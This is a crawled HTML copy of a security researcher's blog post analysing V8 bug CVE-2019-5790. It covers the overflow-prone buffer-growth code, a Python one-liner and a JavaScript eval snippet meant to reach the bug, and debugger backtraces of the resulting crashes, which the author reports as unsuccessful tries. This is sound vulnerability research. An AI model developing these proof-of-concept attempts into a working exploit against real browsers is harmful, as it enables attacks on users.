PageSourceSearch

https://mtowalski.github.io/posts/v8-CVE-2019-5790/

html mtowalski.github.io collected 2026-10-03 09:38:35 UTC 74,411 bytes, 839 lines download raw bytes

1<!DOCTYPE html><html lang="en" mode="dark" ><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="layout-lang" content="en"><meta name="day-prompt" content="d ago"><meta name="hour-prompt" content="hr ago"><meta name="minute-prompt" content="min ago"><meta name="justnow-prompt" content="just now"><meta name="generator" content="Jekyll v4.2.1" /><meta property="og:title" content="V8 CVE-2019-5790" /><meta property="og:locale" content="en" /><meta name="description" content="This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries." /><meta property="og:description" content="This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries." /><link rel="canonical" href="https://mtowalski.github.io//posts/v8-CVE-2019-5790/" /><meta property="og:url" content="https://mtowalski.github.io//posts/v8-CVE-2019-5790/" /><meta property="og:site_name" content="Browser Research" /><meta property="og:type" content="article" /><meta property="article:published_time" content="2019-03-14T13:55:00+01:00" /><meta name="twitter:card" content="summary" /><meta property="twitter:title" content="V8 CVE-2019-5790" /><meta name="twitter:site" content="@mtowalski1" /><meta name="google-site-verification" content="google_meta_tag_verification" /> 
1<script type="application/ld+json"> {"@context":"https://schema.org","@type":"BlogPosting","dateModified":"2021-08-24T16:29:00+02:00","datePublished":"2019-03-14T13:55:00+01:00","description":"This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries.","headline":"V8 CVE-2019-5790","mainEntityOfPage":{"@type":"WebPage","@id":"https://mtowalski.github.io//posts/v8-CVE-2019-5790/"},"url":"https://mtowalski.github.io//posts/v8-CVE-2019-5790/"}</script>
1<title>V8 CVE-2019-5790 | Browser Research</title><link rel="apple-touch-icon" sizes="180x180" href="/assets/img/favicons/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/assets/img/favicons/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/assets/img/favicons/favicon-16x16.png"><link rel="manifest" href="/assets/img/favicons/site.webmanifest"><link rel="shortcut icon" href="/assets/img/favicons/favicon.ico"><meta name="apple-mobile-web-app-title" content="Browser Research"><meta name="application-name" content="Browser Research"><meta name="msapplication-TileColor" content="#da532c"><meta name="msapplication-config" content="/assets/img/favicons/browserconfig.xml"><meta name="theme-color" content="#ffffff"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="anonymous"><link rel="dns-prefetch" href="https://fonts.gstatic.com"><link rel="preconnect" href="https://www.google-analytics.com" crossorigin="use-credentials"><link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="https://www.googletagmanager.com" crossorigin="anonymous"><link rel="dns-prefetch" href="https://www.googletagmanager.com"><link rel="preconnect" href="https://cdn.jsdelivr.net"><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/[email protected]/css/all.min.css"><link rel="stylesheet" href="/assets/css/style.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/afeld/[email protected]/dist/bootstrap-toc.min.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/magnific-popup.min.css"> 
1<script src="https://cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js"></script>
1<body data-spy="scroll" data-target="#toc"><div id="sidebar" class="d-flex flex-column align-items-end" lang=""><div class="profile-wrapper text-center"><div id="avatar"> <a href="/" alt="avatar" class="mx-auto"> <img src="https://raw.githubusercontent.com/mtowalski/mtowalski.github.io/main/assets/img/favicons/1517580441295.jpg" alt="avatar" onerror="this.style.display='none'"> </a></div><div class="site-title mt-3"> <a href="/">Browser Research</a></div><div class="site-subtitle font-italic"></div></div><ul class="w-100"><li class="nav-item"> <a href="/" class="nav-link"> <i class="fa-fw fas fa-home ml-xl-3 mr-xl-3 unloaded"></i> <span>HOME</span> </a><li class="nav-item"> <a href="/categories/" class="nav-link"> <i class="fa-fw fas fa-stream ml-xl-3 mr-xl-3 unloaded"></i> <span>CATEGORIES</span> </a><li class="nav-item"> <a href="/tags/" class="nav-link"> <i class="fa-fw fas fa-tags ml-xl-3 mr-xl-3 unloaded"></i> <span>TAGS</span> </a><li class="nav-item"> <a href="/archives/" class="nav-link"> <i class="fa-fw fas fa-archive ml-xl-3 mr-xl-3 unloaded"></i> <span>ARCHIVES</span> </a><li class="nav-item"> <a href="/about/" class="nav-link"> <i class="fa-fw fas fa-info ml-xl-3 mr-xl-3 unloaded"></i> <span>
1ABOUT</span> </a><li class="nav-item"> <a href="/cves/" class="nav-link"> <i class="fa-fw fas fa-info ml-xl-3 mr-xl-3 unloaded"></i> <span>CVES</span> </a></ul><div class="sidebar-bottom mt-auto d-flex flex-wrap justify-content-center"> <a href="https://www.linkedin.com/in/mtowalski1" aria-label="linkedin" target="_blank" rel="noopener"> <i class="fab fa-linkedin"></i> </a> <a href="https://twitter.com/mtowalski1" aria-label="twitter" target="_blank" rel="noopener"> <i class="fab fa-twitter"></i> </a></div></div><div id="topbar-wrapper" class="row justify-content-center topbar-down"><div id="topbar" class="col-11 d-flex h-100 align-items-center justify-content-between"> <span id="breadcrumb"> <span> <a href="/"> Home </a> </span> <span>V8 CVE-2019-5790</span> </span> <i id="sidebar-trigger" class="fas fa-bars fa-fw"></i><div id="topbar-title"> Post</div><i id="search-trigger" class="fas fa-search fa-fw"></i> <span id="search-wrapper" class="align-items-center"> <i class="fas fa-search fa-fw"></i> <input class="form-control" id="search-input" type="search" aria-label="search" autocomplete="off" placeholder="Search..."> <i class="fa fa-times-circle fa-fw" id="search-cleaner"></i> </span> <span id="search-cancel" >Cancel</span></div></div><div id="main-wrapper"><div id="main"><div class="row"><div id="post-wrapper" class="col-12 col-lg-11 col-xl-8"><div class="post pl-1 pr-1 pl-sm-2 pr-sm-2 pl-md-4 pr-md-4"><h1 data-toc-skip>V8 CVE-2019-5790</h1><div class="post-meta text-muted d-flex flex-column"><div> <span class="semi-bold"> Marcin Towalski </span> on <span class="timeago " data-toggle="tooltip" data-placement="bottom" title="Thu, Mar 14, 2019, 1:55 PM +0100" >Mar 14, 2019<i class="unloaded">2019-03-14T13:55:00+01:00</i> </span></div><div> <span> Updated <span class="timeago lastmod" data-toggle="tooltip" data-placement="bottom" title="Tue, Aug 24, 2021, 4:29 PM +0200" >Aug 24, 2021<i class="unloaded">2021-08-24T16:29:00+02:00</i> </span> </span> <span class="readtime" data-toggle="tooltip" data-placement="bottom" title="3533 words">19 min read</span></div></div><div class="post-content"><p>This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries.</p><p>https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop_12.html?m=1 https://access.redhat.com/security/cve/cve-2019-5790</p><p>Patch : <a href="https://github.com/v8/v8/commit/c7410e8ccff855fdb1a1a0a0c6c2690716a96548">Link</a></p><h2 id="bug">Bug</h2><div lang="cpp" class="language-cpp highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
22
33
44
55
66
77
88
99
1010
1111
1212
13</pre><td class="rouge-code"><pre><span class="kt">int</span> <span class="n">Scanner</span><span class="o">::</span><span class="n">LiteralBuffer</span><span class="o">::</span><span class="n">NewCapacity</span><span class="p">(</span><span class="kt">int</span> <span class="n">min_capacity</span><span class="p">)</span> <span class="p">{</span>
14  <span class="kt">int</span> <span class="n">capacity</span> <span class="o">=</span> <span class="n">Max</span><span class="p">(</span><span class="n">min_capacity</span><span class="p">,</span> <span class="n">backing_store_</span><span class="p">.</span><span class="n">length</span><span class="p">());</span>
15  <span class="kt">int</span> <span class="n">new_capacity</span> <span class="o">=</span> <span class="n">Min</span><span class="p">(</span><span class="n">capacity</span> <span class="o">*</span> <span class="n">kGrowthFactory</span><span class="p">,</span> <span class="n">capacity</span> <span class="o">+</span> <span class="n">kMaxGrowth</span><span class="p">);</span>
16  <span class="k">return</span> <span class="n">new_capacity</span><span class="p">;</span>
17<span class="p">}</span>
18
19<span class="kt">void</span> <span class="n">Scanner</span><span class="o">::</span><span class="n">LiteralBuffer</span><span class="o">::</span><span class="n">ExpandBuffer</span><span class="p">()</span> <span class="p">{</span>
20  <span class="n">Vector</span><span class="o">&lt;</span><span class="n">byte</span><span class="o">&gt;</span> <span class="n">new_store</span> <span class="o">=</span> <span class="n">Vector</span><span class="o">&lt;</span><span class="n">byte</span><span class="o">&gt;::</span><span class="n">New</span><span class="p">(</span><span class="n">NewCapacity</span><span class="p">(</span><span class="n">kInitialCapacity</span><span class="p">));</span>
21  <span class="n">MemCopy</span><span class="p">(</span><span class="n">new_store</span><span class="p">.</span><span class="n">start</span><span class="p">(),</span> <span class="n">backing_store_</span><span class="p">.</span><span class="n">start</span><span class="p">(),</span> <span class="n">position_</span><span class="p">);</span>
22  <span class="n">backing_store_</span><span class="p">.</span><span class="n">Dispose</span><span class="p">();</span>
23  <span class="n">backing_store_</span> <span class="o">=</span> <span class="n">new_store</span><span class="p">;</span>
24<span class="p">}</span>
25</pre></table></code></div></div><p><code class="language-plaintext highlighter-rouge">Scanner::LiteralBuffer::NewCapacity</code> Is responsible for calculation of size that need to be allocated on the heap for the incoming string. It takes value <code class="language-plaintext highlighter-rouge">min_capacity</code> which is 16 and checks it against the <code class="language-plaintext highlighter-rouge">backing_store_.length()</code> which is the size of the string in question. Value <code class="language-plaintext highlighter-rouge">kMaxGrowth</code> equals 1MB = 1048576;</p><p>Basic idea of the allocation is like this: <code class="language-plaintext highlighter-rouge">"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" = 64 chars, so allocation would be 256.</code></p><p>Now all we need is to overflow allocation however there is tricky part because to overflow it we need max_int +1 (2147483648 + 1), so there are two choices to do that :</p><ul><li>
25create file with variable name that is max_int+1 = 2GB file<li>create dynamic string and the eval it so engine would need to parse it</ul><h2 id="method-1">Method 1:</h2><p>My attempt is to create file with this command: <code class="language-plaintext highlighter-rouge">python -c "print('var '+'a'*134217729+' = 1')" &gt; poc2.js</code></p><p>CTRL+C during execution:</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
262
273
284
295
306
317
328
339
3410
3511
3612
3713
38</pre><td class="rouge-code"><pre>#0  0x000055555559a189 in (anonymous namespace)::(anonymous namespace)::CheckLTImpl&lt;unsigned long, unsigned long&gt; (lhs=37441044, rhs=37748736, msg=0x7ffff5f97060 "index &lt; length_") at ../../src/base/logging.h:301
39#1  0x00007ffff62dabbf in (anonymous namespace)::(anonymous namespace)::Vector&lt;unsigned char const&gt;::operator[] (this=0x7fffffffc380, index=37441044) at ../../src/vector.h:61
40#2  0x00007ffff700698f in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddOneByteChar (this=0x7fffffffc380, one_byte_char=97 'a') at ../../src/parsing/scanner.h:486
41#3  0x00007ffff7006cd4 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddChar (this=0x7fffffffc380, code_unit=97 'a') at ../../src/parsing/scanner.h:425
42#4  0x00007ffff70055fb in (anonymous namespace)::(anonymous namespace)::Scanner::AddLiteralChar (this=0x7fffffffc350, c=97 'a') at ../../src/parsing/scanner.h:577
43#5  0x00007ffff7006c5d in operator() (this=0x7fffffffb360, c0=97) at ../../src/parsing/scanner-inl.h:273
44#6  0x00007ffff7006b99 in operator() (this=0x7fffffffb388, raw_c0_=97) at ../../src/parsing/scanner.h:77
45#7  0x00007ffff7006abe in (anonymous namespace)::(anonymous namespace)::find_if&lt;const unsigned short *, (lambda at ../../src/parsing/scanner.h:75:53)&gt; (__first=0x555555694972, __last=0x555555694d42, __pred=...) at ../../buildtools/third_party/libc++/trunk/include/algorithm:878
46#8  (anonymous namespace)::(anonymous namespace)::Utf16CharacterStream::AdvanceUntil&lt;(lambda at ../../src/parsing/scanner-inl.h:259:20)&gt;(class {...}) (this=0x555555694910, check=...) at ../../src/parsing/scanner.h:75
47#9  0x00007ffff7006a30 in (anonymous namespace)::(anonymous namespace)::Scanner::AdvanceUntil&lt;(lambda at ../../src/parsing/scanner-inl.h:259:20)&gt;(class {...}) (this=0x7fffffffc350, check=...) at ../../src/parsing/scanner.h:599
48#10 0x00007ffff7005093 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeywordInner (this=0x7fffffffc350) at ../../src/parsing/scanner-inl.h:259
49#11 0x00007ffff700685e in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeyword (this=0x7fffffffc350) at ../../src/parsing/scanner-inl.h:180
50#12 0x00007ffff7006454 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanSingleToken (this=0x7fffffffc350) at ../../src/parsing/scanner-inl.h:490
51</pre></table></code></div></div><p>It looks I am hitting the right code, so next step is too make breakpoint at point <code class="language-plaintext highlighter-rouge">br scanner.cc:70</code> and check the value for <code class="language-plaintext highlighter-rouge">new_capacity</code> and it goes like this :</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
522
533
544
555
566
577
588
599
6010
6111
6212
6313
6414
6515
6616
6717
68</pre><td class="rouge-code"><pre>[1] = 64
69[2] = 256
70[3] = 1024
71[4] = 4096
72[5] = 16384
73[6] = 65536
74[7] = 262144
75[8] = 1048576 - we are hitting here "kMaxGrowth"
76[9] = 2097152
77[10] = 3145728
78[11] = 4194304
79[12] = 5242880
80[...]
81[158] = 158334976
82[159] = 159383552
83[160] = 160432128
84[161] = 161480704
85</pre></table></code></div></div><p>So based on this my assumption was wrong that it always is multiplied by 4.</p><h3 id="backtrace">Backtrace</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
862
873
884
895
906
917
928
939
9410
9511
9612
9713
9814
9915
10016
10117
10218
10319
10420
10521
10622
10723
10824
10925
11026
11127
11228
11329
11430
11531
11632
11733
11834
11935
12036
12137
12238
12339
12440
12541
12642
12743
12844
12945
13046
13147
13248
13349
13450
13551
13652
13753
13854
13955
14056
14157
14258
14359
14460
14561
14662
14763
14864
14965
15066
15167
15268
15369
15470
15571
15672
15773
15874
15975
16076
16177
16278
16379
16480
16581
16682
16783
16884
16985
17086
17187
172</pre><td class="rouge-code"><pre>Continuing.
173$new_capacity =  135266304
174
175Thread 1 "d8" hit Breakpoint 1, (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::NewCapacity (this=0x7fffffffc380, min_capacity=16) at ../../src/parsing/scanner.cc:70
17670        return new_capacity;
177LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
178────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
179 RAX  0x8100000
180 RBX  0x0
181 RCX  0x8000000
182 RDX  0x8000000
183 RDI  0x20000000
184 RSI  0x20000000
185 R8   0x8000000
186 R9   0x0
187 R10  0x7fffe7b1bfd0 ◂— 0x6161616161616161 ('aaaaaaaa')
188 R11  0x207
189 R12  0x7fffffffd1f8 —▸ 0x5555556a4e30 —▸ 0x400aa88a1a9 ◂— 0x300003db415e808
190 R13  0x7fffffffe540 ◂— 0x2
191 R14  0x0
192 R15  0x0
193 RBP  0x7fffffffb210 —▸ 0x7fffffffb250 —▸ 0x7fffffffb280 —▸ 0x7fffffffb2b0 —▸ 0x7fffffffb2d0 ◂— ...
194 RSP  0x7fffffffb1f0 —▸ 0x7fffffffb210 —▸ 0x7fffffffb250 —▸ 0x7fffffffb280 —▸ 0x7fffffffb2b0 ◂— ...
195 RIP  0x7ffff6fffd54 (v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+68) ◂— mov    eax, dword ptr [rbp - 0x14]
196──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
197 ► 0x7ffff6fffd54 &lt;v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+68&gt;    mov    eax, dword ptr [rbp - 0x14]
198   0x7ffff6fffd57 &lt;v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+71&gt;    add    rsp, 0x20
199   0x7ffff6fffd5b &lt;v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+75&gt;    pop    rbp
200   0x7ffff6fffd5c &lt;v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+76&gt;    ret
201    ↓
202   0x7ffff6fffd7e &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+30&gt;      mov    edi, eax
203   0x7ffff6fffd80 &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+32&gt;      call   0x7ffff7ccd680
204
205   0x7ffff6fffd85 &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+37&gt;      mov    qword ptr [rbp - 0x18], rax
206   0x7ffff6fffd89 &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+41&gt;      mov    qword ptr [rbp - 0x10], rdx
207   0x7ffff6fffd8d &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+45&gt;      lea    rdi, [rbp - 0x18]
208   0x7ffff6fffd91 &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+49&gt;      call   0x7ffff7c68300
209
210   0x7ffff6fffd96 &lt;v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+54&gt;      mov    rdi, qword ptr [rbp - 0x20]
211──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
212In file: /home/mtowalski/v8/v8/src/parsing/scanner.cc
213   65 }
214   66
215   67 int Scanner::LiteralBuffer::NewCapacity(int min_capacity) {
216   68   int capacity = Max(min_capacity, backing_store_.length());
217   69   int new_capacity = Min(capacity * kGrowthFactory, capacity + kMaxGrowth);
218 ► 70   return new_capacity;
219   71 }
220   72
221   73 void Scanner::LiteralBuffer::ExpandBuffer() {
222   74   Vector&lt;byte&gt; new_store = Vector&lt;byte&gt;::New(NewCapacity(kInitialCapacity));
223   75   MemCopy(new_store.start(), backing_store_.start(), position_);
224──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
22500:0000│ rsp  0x7fffffffb1f0 —▸ 0x7fffffffb210 —▸ 0x7fffffffb250 —▸ 0x7fffffffb280 —▸ 0x7fffffffb2b0 ◂— ...
22601:0008│      0x7fffffffb1f8 ◂— 0x810000000000010
22702:0010│      0x7fffffffb200 ◂— 0x1008000000
22803:0018│      0x7fffffffb208 —▸ 0x7fffffffc380 —▸ 0x7fffe771e010 ◂— 0x6161616161616161 ('aaaaaaaa')
22904:0020│ rbp  0x7fffffffb210 —▸ 0x7fffffffb250 —▸ 0x7fffffffb280 —▸ 0x7fffffffb2b0 —▸ 0x7fffffffb2d0 ◂— ...
23005:0028│      0x7fffffffb218 —▸ 0x7ffff6fffd7e (v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+30) ◂— mov    edi, eax
23106:0030│      0x7fffffffb220 —▸ 0x7fffffffb240 —▸ 0x7fffffffc380 —▸ 0x7fffe771e010 ◂— 0x6161616161616161 ('aaaaaaaa')
23207:0038│      0x7fffffffb228 —▸ 0x7fffe771e010 ◂— 0x6161616161616161 ('aaaaaaaa')
233────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
234 ► f 0     7ffff6fffd54 v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+68
235   f 1     7ffff6fffd7e v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+30
236   f 2     7ffff7006979
237   f 3     7ffff7006cd4 v8::internal::Scanner::LiteralBuffer::AddChar(char)+100
238   f 4     7ffff70055fb v8::internal::Scanner::AddLiteralChar(char)+43
239   f 5     7ffff7006c5d
240   f 6     7ffff7006b99
241   f 7     7ffff7006abe
242   f 8     7ffff7006abe
243   f 9     7ffff7006a30
244   f 10     7ffff7005093 v8::internal::Scanner::ScanIdentifierOrKeywordInner()+355
245Breakpoint scanner.cc:70
246pwndbg&gt; c
247Continuing.
248[Thread 0x7ffff1722700 (LWP 18914) exited]
249[Thread 0x7fffeff1f700 (LWP 18917) exited]
250[Thread 0x7ffff0720700 (LWP 18916) exited]
251[Thread 0x7ffff0f21700 (LWP 18915) exited]
252[Thread 0x7ffff1f23700 (LWP 18913) exited]
253[Thread 0x7ffff2724700 (LWP 18912) exited]
254[Thread 0x7ffff2f25700 (LWP 18911) exited]
255[Thread 0x7ffff3726700 (LWP 18910) exited]
256[Inferior 1 (process 18904) exited normally]
257
258
259</pre></table></code></div></div><p>Based on this pattern the <code class="language-plaintext highlighter-rouge">new_capacity</code> would be assigned max_int after many iterations ( At line 8 we hit <code class="language-plaintext highlighter-rouge">kMaxGrowth</code> and from that point it is not multiplication by 4 but from now it is addition of <code class="language-plaintext highlighter-rouge">1048576</code>.</p><p>By this method I tried to allocate <code class="language-plaintext highlighter-rouge">(max_int) - 1048576 +1</code> so I would receive <code class="language-plaintext highlighter-rouge">max_int in new_capacity</code> It crashed with this backtrace</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2602
2613
2624
2635
2646
2657
2668
2679
26810
26911
27012
27113
272</pre><td class="rouge-code"><pre>#0  (anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400
273#1  0x00007ffff626fa0f in (anonymous namespace)::Utils::ReportApiFailure (location=0x7ffff5fee698 "v8::ToLocalChecked", message=0x7ffff5fa30c0 "Empty MaybeLocal.") at ../../src/api.cc:467
274#2  0x00007ffff62bf1df in (anonymous namespace)::Utils::ApiCheck (condition=false, location=0x7ffff5fee698 "v8::ToLocalChecked", message=0x7ffff5fa30c0 "Empty MaybeLocal.") at ../../src/api.h:135
275#3  0x00007ffff6273a5d in (anonymous namespace)::V8::ToLocalEmpty () at ../../src/api.cc:1055
276#4  0x0000555555596261 in (anonymous namespace)::MaybeLocal&lt;v8::String&gt;::ToLocalChecked (this=0x7fffffffd0f8) at ../../include/v8.h:9458
277#5  0x00005555555b440d in (anonymous namespace)::Shell::ReadFile (isolate=0x5555556113b0, name=0x7fffffffe7bd "poc2.js") at ../../src/d8.cc:2236
278#6  0x00005555555c2761 in (anonymous namespace)::SourceGroup::ReadFile (this=0x55555560a028, isolate=0x5555556113b0, name=0x7fffffffe7bd "poc2.js") at ../../src/d8.cc:2479
279#7  0x00005555555c25da in (anonymous namespace)::SourceGroup::Execute (this=0x55555560a028, isolate=0x5555556113b0) at ../../src/d8.cc:2460
280#8  0x00005555555c685f in (anonymous namespace)::Shell::RunMain (isolate=0x5555556113b0, argc=2, argv=0x7fffffffe548, last_run=true) at ../../src/d8.cc:2948
281#9  0x00005555555c8d84 in (anonymous namespace)::Shell::Main (argc=2, argv=0x7fffffffe548) at ../../src/d8.cc:3500
282#10 0x00005555555c9292 in main (argc=2, argv=0x7fffffffe548) at ../../src/d8.cc:3535
283#11 0x00007ffff4aa62e1 in __libc_start_main (main=0x5555555c9270 &lt;main(int, char**)&gt;, argc=2, argv=0x7fffffffe548, init=&lt;optimized out&gt;, fini=&lt;optimized out&gt;, rtld_fini=&lt;optimized out&gt;, stack_end=0x7fffffffe538) at ../csu/libc-start.c:291
284#12 0x000055555559402a in _start ()
285</pre></table></code></div></div><h2 id="method-2">
285Method 2:</h2><div lang="js" class="language-js highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2862
2873
2884
2895
2906
2917
2928
2939
29410
29511
29612
29713
298</pre><td class="rouge-code"><pre>
299<span class="kd">function</span> <span class="nx">repeatStringNumTimes</span><span class="p">(</span><span class="nx">string</span><span class="p">,</span> <span class="nx">times</span><span class="p">)</span> <span class="p">{</span>
300  <span class="kd">var</span> <span class="nx">repeatedString</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span>
301  <span class="k">while</span> <span class="p">(</span><span class="nx">times</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
302    <span class="nx">repeatedString</span> <span class="o">+=</span> <span class="nx">string</span><span class="p">;</span>
303    <span class="nx">times</span><span class="o">--</span><span class="p">;</span>
304  <span class="p">}</span>
305  <span class="k">return</span> <span class="nx">repeatedString</span><span class="p">;</span>
306<span class="p">}</span>
307<span class="kd">var</span> <span class="nx">len_str</span> <span class="o">=</span> <span class="mi">2147483648</span><span class="p">;</span>
308<span class="kd">var</span> <span class="nx">name_function</span> <span class="o">=</span> <span class="nx">repeatStringNumTimes</span><span class="p">(</span><span class="dl">"</span><span class="se">\</span><span class="s2">u0151</span><span class="dl">"</span><span class="p">,</span><span class="nx">len_str</span><span class="p">);</span>
309<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">name_function</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
310<span class="nb">eval</span><span class="p">(</span><span class="dl">"</span><span class="s2">var </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="o">+</span><span class="dl">"</span><span class="s2"> = new Function('return');</span><span class="dl">"</span><span class="p">);</span>
311</pre></table></code></div></div><p>This approach will crash the engine before reaching the vulnerable code because of addition of string is too big.</p><p>So after learning new stuff from “Method 1” I decieded to try to allocate string of length <code class="language-plaintext highlighter-rouge">2146435073</code></p><p>During this experiment it crashed like this:</p><h3 id="backtrace-1">Backtrace</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
3122
3133
3144
3155
3166
3177
3188
3199
32010
32111
32212
32313
32414
32515
32616
32717
32818
32919
33020
33121
33222
33323
33424
33525
33626
33727
33828
33929
34030
34131
34232
34333
34434
34535
34636
34737
34838
34939
35040
35141
35242
35343
35444
35545
35646
35747
35848
35949
36050
36151
36252
36353
36454
36555
36656
36757
36858
36959
370</pre><td class="rouge-code"><pre>$2517 = 66060288
371Length is 65273856
372$2519 = 64
373[.....]
374$2588 = 66060288
375$2589 = 67108864
376pwndbg&gt;
377&lt;--- Last few GCs ---&gt;
378
379[23783:0x5555556113b0]   419195 ms: Mark-sweep 2036.3 (2039.3) -&gt; 2036.3 (2039.3) MB, 154.7 / 0.0 ms  (average mu = 0.951, current mu = 0.001) last resort GC in old space requested
380[23783:0x5555556113b0]   419364 ms: Mark-sweep 2036.3 (2039.3) -&gt; 2036.3 (2039.3) MB, 169.6 / 0.1 ms  (average mu = 0.900, current mu = 0.000) last resort GC in old space requested
381
382
383&lt;--- JS stacktrace ---&gt;
384
385==== JS stack trace =========================================
386
387    0: ExitFrame [pc: 0x7ffff79e678d]
388    1: StubFrame [pc: 0x7ffff7b3bbac]
389Security context: 0x3c1eaab973b1 &lt;JSObject&gt;
390    2: /* anonymous */ [0x3c1eaab9bd11] [test.js:4] [bytecode=0x3c1eaab9bbd1 offset=141](this=0x1de80ad809f9 &lt;JSGlobal Object&gt;)
391    3: InternalFrame [pc: 0x7ffff76d8680]
392    4: EntryFrame [pc: 0x7ffff76d840d]
393
394==== Details ================================================
395
396[0]: ExitFrame [pc: 0x7ffff79e678d]
397[1]: StubFram...
398
399
400#
401# Fatal javascript OOM in CALL_AND_RETRY_LAST
402#
403
404
405Thread 1 "d8" received signal SIGILL, Illegal instruction.
406(anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400
407400         V8_IMMEDIATE_CRASH();
408bt
409#0  (anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400
410#1  0x00007ffff626f95b in (anonymous namespace)::Utils::ReportOOMFailure (isolate=0x5555556113b0, location=0x7ffff5ff8cad "CALL_AND_RETRY_LAST", is_heap_oom=true) at ../../src/api.cc:484
411#2  0x00007ffff626f8c6 in (anonymous namespace)::(anonymous namespace)::V8::FatalProcessOutOfMemory (isolate=0x5555556113b0, location=0x7ffff5ff8cad "CALL_AND_RETRY_LAST", is_heap_oom=true) at ../../src/api.cc:452
412#3  0x00007ffff6b43e3a in (anonymous namespace)::(anonymous namespace)::Heap::FatalProcessOutOfMemory (this=0x55555561a1a8, location=0x7ffff5ff8cad "CALL_AND_RETRY_LAST") at ../../src/heap/heap.cc:4872
413#4  0x00007ffff6b51f8b in (anonymous namespace)::(anonymous namespace)::Heap::AllocateRawWithRetryOrFail (this=0x55555561a1a8, size=66322448, space=(anonymous namespace)::(anonymous namespace)::OLD_SPACE, alignment=(anonymous namespace)::(anonymous namespace)::kWordAligned) at ../../src/heap/heap.cc:4310
